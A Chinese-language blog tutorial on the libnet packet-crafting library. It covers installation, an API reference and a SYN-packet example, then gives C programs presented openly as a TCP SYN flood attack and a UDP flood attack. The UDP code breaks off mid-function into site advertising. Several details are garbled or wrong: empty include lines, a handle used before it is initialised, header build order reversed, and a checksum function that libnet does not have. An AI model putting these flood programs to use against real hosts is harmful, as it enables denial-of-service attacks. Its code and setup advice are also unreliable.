libnet的使用详解

Libnet是一个开源的、面向C语言的网络编程库,它提供了许多基础的网络编程函数和数据结构,同时也提供了许多高级的功能,如IP包头或TCP包头的构造,IP包或TCP包的发送,以及一些网络应用层协议的实现,如HTTP、FTP等。

在本文中,我们将介绍Libnet的使用方法、常见的API函数以及实例应用。

一、Libnet的使用方法

在开始使用Libnet编写网络程序之前,需要安装minGW或Cygwin环境。对于Windows用户,可以从minGW的官方网站下载minGW,对于Linux或Unix用户,可通过系统自带包管理器或从官网下载Cygwin。

1. 安装Libnet

用户可以从Libnet的官网(https://github.com/sam-github/libnet)上下载Libnet的源代码文件,然后解压,并在命令行中进入解压后的目录,执行以下命令:

```

./configure

make

make install

```

2. 使用Libnet

在使用Libnet编写程序之前,我们需要包含Libnet的头文件并链接Libnet的库文件,以便使用其中的函数和数据结构。

```

#include

int main(int argc,char *argv[]) {

libnet_t *l;

char errbuf[LIBNET_ERRBUF_SIZE];

l = libnet_init(LIBNET_RAW4, NULL, errbuf);

if (l == NULL) {

fprintf(stderr, "libnet_init() failed: %s\n", errbuf);

exit(EXIT_FAILURE);

}

...

}

```

在以上代码中,我们首先包含了头文件。然后,我们创建了一个libnet_t类型的结构体指针l,并定义了一个用于存放错误信息的字符串errbuf。

之后,我们使用libnet_init()函数来初始化libnet_t结构体指针l。第一个参数为Libnet的数据传输层类型,这里使用的是RAW SOCKET传输,即LIBNET_RAW4(其他传输方式还包括LIBNET_LINK、LIBNET_RAW_SOCK和LIBNET_SOCKETS)。第二个参数为设备名,如果设备名为NULL,则表示使用默认设备,第三个参数则为错误信息输出缓冲区。

3. 构造和发送数据包

在使用Libnet构造数据包时,我们还需要先定义IP头和TCP头等数据结构,并设置这些结构体中的相关字段,最后将其打包到一个完整的数据包中并发送。

下面通过一个简单的TCP数据包构造和发送的例子来详细介绍使用Libnet的API函数。

```

#include

#include

#include

#define DST_IP "192.168.63.141" // 目标IP地址

#define SRC_IP "192.168.56.1" // 源IP地址

#define SRC_PORT 12345 // 源端口号

#define DST_PORT 80 // 目标端口号

int main(int argc, char **argv) {

libnet_t *l;

libnet_ptag_t tcp_tag;

u_long dst_ip,src_ip;

u_short dst_port,src_port;

char errbuf[LIBNET_ERRBUF_SIZE];

// 将地址字符串转换为网络字节序

dst_ip = libnet_name2addr4(l,DST_IP,LIBNET_RESOLVE);

src_ip = libnet_name2addr4(l,SRC_IP,LIBNET_RESOLVE);

dst_port = htons(DST_PORT); // 端口号转为网络字节序

src_port = htons(SRC_PORT);

// 初始化libnet

l = libnet_init(LIBNET_RAW4,NULL,errbuf);

if (l == NULL) {

fprintf(stderr, "libnet_init() failed: %s\n", errbuf);

exit(EXIT_FAILURE);

}

// 构造IP头

libnet_build_ipv4(

LIBNET_IPV4_H + LIBNET_TCP_H, // 总长度

IPTOS_LOWDELAY, // IP TOS字段的值

libnet_get_prand(LIBNET_PRu16), // 包的ID,也可以使用固定值

0, // IP标记

128, // 生存时间

IPPROTO_TCP, // 数据块类型

0, // IP校验和,函数内部会计算

src_ip, // 源IP地址

dst_ip, // 目标IP地址

NULL, // 有效载荷

0, // 有效载荷大小

l, // libnet参数

0 // 协议标记(必须为0)

);

// 构造TCP头

tcp_tag = libnet_build_tcp(

src_port, // 源端口号

dst_port, // 目标端口号

libnet_get_prand(LIBNET_PRu32), // 包的序列号

libnet_get_prand(LIBNET_PRu32), // 确认号

TH_SYN, // 状态位

1024, // 窗口大小

0, // 检验和,函数内部会计算

0, // 紧急指针

LIBNET_TCP_H, // TCP头长度

NULL, // 有效载荷

0, // 有效载荷大小

l, // libnet参数

0 // 协议标记(必须为0)

);

if (tcp_tag == -1) {

fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));

exit(EXIT_FAILURE);

}

// 计算TCP校验和

libnet_build_tcp_checksum(

l, // libnet参数

tcp_tag // TCP标记

);

// 发送数据包

if (libnet_write(l) == -1) {

fprintf(stderr, "Write error: %s\n", libnet_geterror(l));

exit(EXIT_FAILURE);

}

// 回收数据

libnet_destroy(l);

return 0;

}

```

二、Libnet的API函数

在使用Libnet库进行开发时,我们需要了解和掌握其中常用的API函数。下面列出了一些常用的API函数。

1. libnet_init()

```

libnet_t *libnet_init(int injection_type, const char *device, char *errbuf)

```

初始化Libnet库,其中injection_type参数用于指定数据传输层类型,可以是RAW SOCKET、LIBNET_LINK或LIBNET_RAW_SOCK等;device参数是网卡名称,如果没有指定,则使用默认的网卡;errbuf参数是一个缓冲区,用于存放错误信息。

该函数返回一个指向libnet_t类型结构体的指针,该结构体包含有用于构建和发送网络数据包的函数和数据结构。如果初始化发生错误,则返回NULL。

2. libnet_name2addr4()

```

u_long libnet_name2addr4(libnet_t *l, const char *name, int use_name)

```

将IP地址字符串转换为网络字节序,并返回转换后的IP地址。

其中,use_name参数用于指定是否解析DNS。如果use_name等于LIBNET_RESOLVE,将进行DNS解析。如果不需要DNS解析,则可以将use_name设置为LIBNET_DONT_RESOLVE。

3. libnet_build_ipv4()

```

u_long libnet_build_ipv4(

u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag,

u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_long src, u_long dst,

const u_int8_t *payload, u_int32_t payload_s, libnet_t *l, u_int32_t h_len)

```

构造IPv4数据包,其中各参数的含义如下:

- len:总长度,包括IP头和有效负载数据

- tos:IP TOS(Type of Service)字段的值

- id:包标识

- frag:从哪个数据包分片而来,值为0时表示不分片

- ttl:生存时间(Time to Live)

- prot:下一个数据包协议类型

- sum:IP校验和

- src:源地址

- dst:目标地址

- payload:有效负载数据

- payload_s:有效负载数据的长度

- l:libnet结构体指针

- h_len:IP头的长度

该函数返回一个unsigned long类型的数据包标记(libnet_ptag_t)值。如果返回-1,则表示构造失败。

4. libnet_build_tcp()

```

libnet_ptag_t libnet_build_tcp(

u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack,

u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg,

u_int16_t len, const u_int8_t *payload, u_int32_t payload_s,

libnet_t *l, u_int32_t h_len)

```

构造TCP数据包,其中各参数的含义如下:

- sp:源端口号

- dp:目标端口号

- seq:序列号

- ack:确认号

- control:状态位

- win:窗口大小

- sum:TCP校验和

- urg:紧急指针

- len:TCP头长度

- payload:有效负载数据

- payload_s:有效负载数据的长度

- l:libnet结构体指针

- h_len:TCP头长度

该函数返回一个libnet_ptag_t类型的数据包标记值,如果为-1,则表示构造失败。

5. libnet_build_tcp_checksum()

```

u_int16_t libnet_build_tcp_checksum(libnet_t *l, libnet_ptag_t ptag)

```

计算TCP包的校验和并对其进行赋值,其中l为libnet结构体指针,ptag为TCP标记。

该函数返回一个16位网络字节序的校验和值。

6. libnet_write()

```

int libnet_write(libnet_t *l)

```

将数据包发送到网络。

该函数返回发送出去的字节数,如果返回-1,则表示发送失败。

7. libnet_get_prand()

```

u_int32_t libnet_get_prand(int mod)

```

产生一个随机数,其中mod参数表示生成随机数的模式。可选的模式有:

- LIBNET_PRu16:产生16位的随机数

- LIBNET_PRu32:产生32位的随机数

- LIBNET_PRu64:产生64位的随机数

该函数返回产生的随机数。

三、实例应用

下面介绍一些Libnet的实例应用。

1. TCP SYN Flood攻击

TCP SYN Flood攻击是一种常见的DDoS攻击方式,攻击者向目标主机不断发送TCP SYN包,使得目标主机无法区分正常请求和攻击请求。下面我们通过Libnet库来实现一次简单的TCP SYN Flood攻击。

```

#include

#include

#include

#define DST_IP "192.168.63.141" // 目标IP地址

#define SRC_IP "192.168.56.1" // 源IP地址

#define SRC_PORT 12345 // 源端口号

#define DST_PORT 80 // 目标端口号

int main(int argc, char **argv) {

libnet_t *l;

libnet_ptag_t tcp_tag;

u_long dst_ip,src_ip;

u_short dst_port,src_port;

char errbuf[LIBNET_ERRBUF_SIZE];

// 将地址字符串转换为网络字节序

dst_ip = libnet_name2addr4(l,DST_IP,LIBNET_RESOLVE);

src_ip = libnet_name2addr4(l,SRC_IP,LIBNET_RESOLVE);

dst_port = htons(DST_PORT); // 端口号转为网络字节序

src_port = htons(SRC_PORT);

// 初始化libnet

l = libnet_init(LIBNET_RAW4,NULL,errbuf);

if (l == NULL) {

fprintf(stderr, "libnet_init() failed: %s\n", errbuf);

exit(EXIT_FAILURE);

}

// 构造IP头

libnet_build_ipv4(

LIBNET_IPV4_H + LIBNET_TCP_H, // 总长度

IPTOS_LOWDELAY, // IP TOS字段的值

libnet_get_prand(LIBNET_PRu16), // 包的ID,也可以使用固定值

0, // IP标记

128, // 生存时间

IPPROTO_TCP, // 数据块类型

0, // IP校验和,函数内部会计算

src_ip, // 源IP地址

dst_ip, // 目标IP地址

NULL, // 有效载荷

0, // 有效载荷大小

l, // libnet参数

0 // 协议标记(必须为0)

);

for (;;) {

// 构造TCP头

tcp_tag = libnet_build_tcp(

src_port, // 源端口号

dst_port, // 目标端口号

libnet_get_prand(LIBNET_PRu32), // 包的序列号

libnet_get_prand(LIBNET_PRu32), // 确认号

TH_SYN, // 状态位

1024, // 窗口大小

0, // 检验和,函数内部会计算

0, // 紧急指针

LIBNET_TCP_H, // TCP头长度

NULL, // 有效载荷

0, // 有效载荷大小

l, // libnet参数

0 // 协议标记(必须为0)

);

if (tcp_tag == -1) {

fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));

exit(EXIT_FAILURE);

}

// 计算TCP校验和

libnet_build_tcp_checksum(

l, // libnet参数

tcp_tag // TCP标记

);

// 发送数据包

if (libnet_write(l) == -1) {

fprintf(stderr, "Write error: %s\n", libnet_geterror(l));

exit(EXIT_FAILURE);

}

}

// 回收数据

libnet_destroy(l);

return 0;

}

```

2. UDP Flood攻击

UDP Flood攻击原理和TCP SYN Flood攻击类似,即向目标主机发送大量的UDP包,使得目标主机无法区分正常请求和攻击请求。下面我们通过Libnet库来实现一次简单的UDP Flood攻击。

```

#include

#include

#include

#define DST_IP "192.168.63.141" // 目标IP地址

#define SRC_IP "192.168.56.1" // 源IP地址

#define SRC_PORT 12345 // 源端口号

#define DST_PORT 80 // 目标端口号

int main(int argc, char **argv) {

libnet_t *l;

libnet_ptag_t udp_tag;

u_long dst_ip,src_ip;

u_short dst_port,src_port;

u_int16_t len;

char errbuf[LIBNET_ERRBUF_SIZE];

// 将地址字符串转换为网络字节序

dst_ip = libnet_name2addr4(l,DST_IP,LIBNET_RESOLVE);

src_ip = libnet_name2addr4(l,SRC_IP,LIBNET_RESOLVE);

dst_port = htons(DST_PORT); // 端口号转为网络字节序

src_port = htons(SRC_PORT);

// 初始化libnet

l = libnet_init(LIBNET_RAW4,NULL,errbuf);

if (l == NULL) {

fprintf(stderr, "libnet_init() failed: %s\n", errbuf);

exit(EXIT_FAILURE);

}

// 构造IP头

libnet_build_ipv4(

LIBNET_IPV4_H + LIBNET_UDP_H, // 总长度

IPTOS_LOWDELAY, // IP TOS字段的值

libnet_get_prand(LIBNET_PRu16), // 包的ID,也可以使用固定值

0, // IP标记

128, // 生存时间

IPPROTO_UDP, // 数据块类型

0, // 如果你喜欢我们三七知识分享网站的文章, 欢迎您分享或收藏知识分享网站文章 欢迎您到我们的网站逛逛喔!https://www.37seo.cn/

点赞(87) 打赏

评论列表 共有 0 条评论

暂无评论
立即
投稿
发表
评论
返回
顶部